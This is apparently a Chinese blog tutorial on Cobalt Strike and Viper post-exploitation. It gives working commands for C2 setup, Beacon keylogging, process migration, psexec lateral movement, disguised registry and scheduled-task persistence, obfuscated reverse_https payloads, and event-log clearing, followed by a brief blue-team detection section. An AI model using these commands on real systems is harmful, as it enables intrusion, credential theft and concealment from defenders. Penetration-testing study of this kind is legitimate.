Skip to content
Kurisu
Go back

Cobalt Strike 后渗透

Cobalt Strike 后渗透:架构、监听器、Beacon 会话、提权与横向移动插件。

核心知识点

1. CS 是什么

2. CS 架构详解(三大核心角色)

C2 流程:Client 下指令 → Team Server 转发 → Beacon 心跳取指令 → 执行回传。

3. CS 与环境

系统要求:Team Server 用 Kali/Ubuntu/CentOS(≥2-4GB 内存);客户端需 Java(Win/macOS/Linux)。

# 1.  Java
sudo apt update
sudo apt install openjdk-11-jdk
java -version

# 2. 解压 CS
unzip cobaltstrike-linux.zip
cd cobaltstrike
ls -la
# 目录:agscript(扩展脚本)、c2lint(C2检查)、cobaltstrike.jar(Java客户端)、teamserver(团队服务器启动脚本)、update

# 3. 生成 SSL 证书(可选但推荐)
keytool -genkey -keyalg RSA -alias cobaltstrike -keystore cobaltstrike.store -storepass password -keypass password -validity 3650 -keysize 2048 -dname "CN=cobaltstrike, OU=Community, O=Strategic Cyber LLC, L=Somewhere, ST=Somewhere, C=US"

# 4. 启动团队服务器(执行前加执行权限)
chmod +x teamserver
./teamserver <服务器IP> <密码> []
# 例:./teamserver 192.168.1.100 password123

# 5. 启动客户端
./cobaltstrike   # 或 java -jar cobaltstrike.jar

连接参数:Host、Port(默认 50050,也用 33000)、User(任意)、Password(启动时设的密码)。

端口:80/443=网页服务,50050=C2 团队服务器端口(启动时可指定)。

实操要点:

4. CS 图形界面详解

5. Payload 生成与部署

Payload 类型对比:

类型特点适用场景
Staged分阶段传输,体积小需要网络传输
Stageless完整代码一次传输独立文件,大小不敏感
SMB通过 SMB 协议通信网横向移动
DNS通过 DNS 查询通信严格防火墙环境

木马上线:exe 在目标双击后控制端立即见上线提示(IP、用户名、计算机名)。

6. 监听器(Listener)

Payload:     HTTP Beacon
Name:        http-listener
HTTP Host:   192.168.1.100
HTTP Port:   80

创建木马:选 Listener 作木马”接收端”,IP 不对就失联。

7. Beacon 命令与控制

基础命令:

help              # 查看帮助
sleep 60          # 设置回连时间(心跳)
cd / pwd / ls     # 目录操作
mkdir / rm / cat  # 文件操作
download          # 下载文件
upload            # 上传文件
execute           # 执行程序
shell whoami      # 执行 Shell 命令
powershell Get-Process   # 执行 PowerShell 命令
ps                # 列出进程
migrate <PID>     # 进程迁移(防掉线/防查杀)
spawnto x64 C:\Windows\System32\notepad.exe  # 迁移到新进程
keylogger         # 键盘记录

交互式 Shell:shell 进入交互模式;shell ipconfig 执行单条命令。

8. 网渗透与横向移动

内网信息收集:

ipconfig /all        # 网络
arp -a               # ARP 表
route print          # 路由表
ipconfig /displaydns # DNS 缓存
portscan <目标IP> <端口范围> <扫描类型>   # 端口扫描

凭据获取:keylogger 键盘记录;view credentials 查看已获取凭证。

横向移动技术:

psexec <目标IP> <监听器>     # Psexec 横向移动
powershell <目标IP> <命令>   # PowerShell 远程执行
wmiexec <目标IP>             # WMI 执行

代理与流量转发:

socks 1080                     # 在目标主机创建 SOCKS 代理
rportfwd 8080 192.168.1.1 80   # 端口转发

9. 钓鱼攻击

社会工程学(钓鱼的理论基础):不破解密码,直接骗你说出密码;手法为冒充身份(客服/领导/警察)、制造紧迫感、好奇心、内部人员;防范靠核实身份。

10. 权限维持

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "System Update" /t REG_SZ /d "C:\malware.exe"
schtasks /create /tn "System Update" /tr "C:\malware.exe" /sc daily

11. 杀(初步概念)

12. Viper(青龙)/Vshell 图形化平台

离线部署:

# 1.  Docker(离线版)
tar -xvf docker-*.tgz
sudo cp docker/* /usr/bin/
sudo dockerd &

# 2.  Viper 镜像并启动
docker load -i viper.tar
docker run -d --name viper --net=host --restart always \
  -v /var/run/docker.sock:/var/run/docker.sock viperplatform/viper:latest

# 3. 登录 https://127.0.0.1:60000(默认账号 admin / 密码 viper666)

核心实战:

  1. 监听器:【网络监听】→【新增监听器】,类型 reverse_https(伪装网页加密),IP 为 Linux 局域网 IP,端口 443。
  2. 生成免杀 Payload:【载荷生成】→ windows/x64/meterpreter/reverse_https,勾选【源码混淆】/【分离加载】。
  3. Vshell 接管:上线后右键主机 →【控制台 (Vshell)】:
    • whoami 确认身份
    • 文件浏览器下载目标桌面文件
    • 插件搜”截图”实时屏幕监控
    • 插件搜”进程迁移”迁移到 explorer.exe 防掉线
    • clearev 清除事件日志

蓝队防守视角:

  1. 查流量:断网则 Viper 立即失联;流量分析设备可拦未知 HTTPS 443 长连接。
  2. 查进程:找无数字签名、名字随机、冒充系统进程但路径不对的可疑程序。
  3. 行为拦截:即使静态免杀,EDR 也会拦”进程迁移""改自启动项”等行为。

实操步骤

# 服务端
sudo apt install openjdk-11-jdk
unzip cobaltstrike.zip && cd cobaltstrike
chmod +x teamserver
./teamserver 192.168.1.100 password123

# 客户端
./cobaltstrike
# 连接:Host=192.168.1.100  Port=50050/33000  User=任意  Password=password123

# Beacon 常用
help
sleep 60
shell whoami
download secret.txt
upload malware.exe
ps
migrate 1234
keylogger
socks 1080
psexec 192.168.1.101 http-listener
persistence

常见错误与排查


Share this post:

Previous Post
Metasploit 渗透框架
Next Post
渗透测试综合实战